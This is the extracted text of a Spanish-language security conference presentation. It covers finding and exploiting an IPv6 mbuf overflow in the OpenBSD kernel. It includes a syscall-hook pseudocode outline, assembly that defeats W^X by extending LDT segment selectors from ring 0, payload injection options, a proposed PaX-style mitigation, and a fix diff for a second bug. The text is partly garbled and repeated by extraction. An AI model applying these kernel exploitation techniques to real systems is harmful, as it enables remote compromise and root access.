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Como fue encontrado

Events:

1. 16 de Enero de 2007: El equipo de OpenBSD publica una
parche para su Stack IPv6 llamado “OpenBSD 008:
RELIABILITY FIX”. (Loop Infinito en modo kernel)

2. Se comenzó un proyecto para investigar e intentar reproducir
esa vulnerabilidad.

3. Debido a la falta de información, se construyo un fuzzer IPv6
para tratar de ubicar el bug.

4. El sistema (python) env́ıa fragmentos IPv6 conteniendo
combinaciones de diferentes headers.

5. Una combinación tuvo la suerte de romper todas las versiones
de OpenBSD.
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Mbuf buffer overflow

Buffer overflow
Buscando la falla “OpenBSD 008: RELIABILITY FIX” un nuevo
bug fue encontrado: La función m dup1() causa un overflow en la
estructura mbuf, usada por el kernel para almacenar paquetes de
red.

mbuf2 mbuf3 mbuf4

End of overflow

Copy direction

mbuf1

Figura: dirección de la cadena de mbuf’s

El crash se localiza en la función m freem()



Buscando una manera de lograr ejecución de código



Buscando una manera de lograr ejecución de código



Código C equivalente

/ s y s /mbuf . h

#de f i n e MEXTREMOVE(m) do { \
i f (MCLISREFERENCED(m) ) { \

MCLDEREFERENCE(m) ; \
} e l s e i f ( (m)−>m f l a g s & M CLUSTER) { \

p o o l p u t (& mclpool , (m)−>m ext . e x t b u f ) ; \
} e l s e i f ( (m)−>m ext . e x t f r e e ) { \

(∗ ( (m)−>m ext . e x t f r e e ) ) ( (m)−>m ext . e x t b u f , \
(m)−>m ext . e x t s i z e , (m)−>m ext . e x t a r g ) ; \

} e l s e { \
f r e e ( (m)−>m ext . e x t b u f , (m)−>m ext . e x t t y p e ) ; \

} \
(m)−>m f l a g s &= ˜(M CLUSTER|M EXT ) ; \
(m)−>m ext . e x t s i z e = 0 ; /∗ why ??? ∗/ \

} wh i l e ( /∗ CONSTCOND ∗/ 0)



Paquetes IcmpV6

Se usaron dos paquetes (fragmentados) de IcmpV6 como vector de
ataque
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SyscallHook
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Figura: Detalle de los fragmentos de IcmpV6



Donde estamos?

Realmente no tenemos idea donde estamos situados. Pero ESI esta
apuntando a nuestro código!

Hooked syscall
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Ring 3

?
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Where we are?

Ring 0

ESI

ShellCode

Kernel
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ShellCode
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Figura: Situación inicial y final



Que hacemos?

Engancharnos! (Como los TSRs de DOS)
Nos enganchamos de la system call Int 0x80

Hooked syscall
Ring 3

Ring 0

return

Normal syscall

Normal System Call Hooked System Call

User process

INT 0x80

Kernel

INT 0x80

User process

return
Kernel

Hook

Figura: System call hook



Pseudo codigo del nuevo system call

1. Encontrar variable curproc (current process)

2. Leer user Id (curproc− >userID)

3. If userID == 0, el proceso es root :

3.1 Leer posición de LDT
3.2 Extender DS y CS en la LDT (Esto apaga WˆX!)
3.3 Copia el código user-mode al stack del proceso
3.4 Modifica el return address del syscall para que apunte a

nuestro código
3.5 Restaura el vector original de la Int 0x80 (Nos

desenganchamos)

4. Continuar con la syscall original
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3.5 Restaura el vector original de la Int 0x80 (Nos

desenganchamos)

4. Continuar con la syscall original



Pseudo codigo del nuevo system call

1. Encontrar variable curproc (current process)

2. Leer user Id (curproc− >userID)

3. If userID == 0, el proceso es root :

3.1 Leer posición de LDT
3.2 Extender DS y CS en la LDT (Esto apaga WˆX!)
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Funcionamiento interno de OpenBSD WˆX

WˆX: Memoria escribible nunca es ejecutable
i386: usa el selector CS para limitar la ejecución. Para deshabilitar WˆX, extendemos CS desde ring0.

ExtensionUser Code Segment (CS)

User Data Segment (DS)

0xffffffff
4 GB

heap

512 MB

0x00000000

Extensionstack

stack.text .so .so

Figura: Esquema de selectores de OpenBSD y extensión



Derrotando WˆX desde ring0

Nuestro algoritmo, independiente del Kernel:

s l d t ax ; S t o r e LDT i n d e x on EAX
sub esp , byte 0 x 7 f
sgdt [ esp +4] ; S t o r e g l o b a l d e s c r i p t o r t a b l e
mov ebx , [ esp +6]
add esp , byte 0 x 7 f
push eax ; Save l o c a l d e s c r i p t o r t a b l e i n d e x
mov edx , [ ebx+eax ]
mov ecx , [ ebx+eax+0x4 ]
sh r edx , 1 6 ; b a s e l o w−−>edx
mov eax , ecx
s h l eax , 2 4 ; b a s e m i d d l e −−> edx
sh r eax , 8
or edx , eax
mov eax , ecx ; b a s e h i g h −−> edx
and eax , 0 x f f 0 0 0 0 0 0
or edx , eax
mov ebx , edx ; l d t−−> ebx

; Extend CS s e l e c t o r
or dword [ ebx+0x1c ] , 0 x000f0000

; Extend DS s e l e c t o r
or dword [ ebx+0x24 ] , 0 x000f0000



Código inyectado

WˆX sera restaurado en el próximo context switch, tenemos dos
opciones para la ejecución segura desde user-mode:

Ring 3

User
Stack

Ring 3

User
Stack

1. fork()
2.mmap()
3.copy
4.jmp to mmap

mprotect() extends
CS permanently

1. mprotect()
2.fork()

From kernel... From kernel...

Creating a W+X section

3.Standard

5. Standard
    user−mode
    code

    user−mode
    code

Turning off W^X (from usermode)

Figura: Opciones de inyección del Payload



Preguntas?

Ya estamos ejecutando código en user-mode estandard como root,
y el sistema ha sido comprometido.



Protección propuesta

Limitar el selector CS de Kernel
Usar la misma estrategia que en user-space. Método utilizado en
PaX (http://pax.grsecurity.net) para Linux.

0x00000000 0xffffffff
4 GB

ke
rn

el

Kernel Code Segment (CS)

Kernel Data Segment (DS)

CS shrink

mbuf chains, etc

0xD0000000 0xD1000000

Figura: Modificación del selector CS de kernel en OpenBSD



Otra vulnerabilidad?

IPv6 Routing Headers

Variable no inicializada en el procesamiento de headers de IPv6.

1. DoS o ejecución de código (dependiendo de la grositud del
hacker!)

2. Presente en el CVS desde Enero a Marzo del 2007 (muy
pocos sistemas afectados)

RCS f i l e : / u s r /OpenBSD/ c v s / s r c / s y s / n e t i n e t 6 / r o u t e 6 . c , v
r e t r i e v i n g r e v i s i o n 1 . 1 3
r e t r i e v i n g r e v i s i o n 1 . 1 4

sw i tch ( rh−>i p 6 r t y p e ) {
case IPV6 RTHDR TYPE 0 :

+ r h l e n = ( rh−>i p 6 r l e n + 1) << 3 ;
i f ( rh−>i p 6 r s e g l e f t == 0)

break ; /∗ F i n a l d s t . J u s t i g n o r e t h e h e a d e r . ∗/
− r h l e n = ( rh−>i p 6 r l e n + 1) << 3 ;



Conclusiones

En este art́ıculo se presento:

1. Estrategia genérica de ejecución de código en el kernel

2. Posible mejora de seguridad del kernel para i386

3. Un tercer bug - Ningún software es perfecto
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Preguntas finales?

Gracias a:
Gerardo Richarte: Arquitectura del Exploit
Mario Vilas and Nico Economou: Coding support
Jun-ichiro Hagino: Thanks for Kame!
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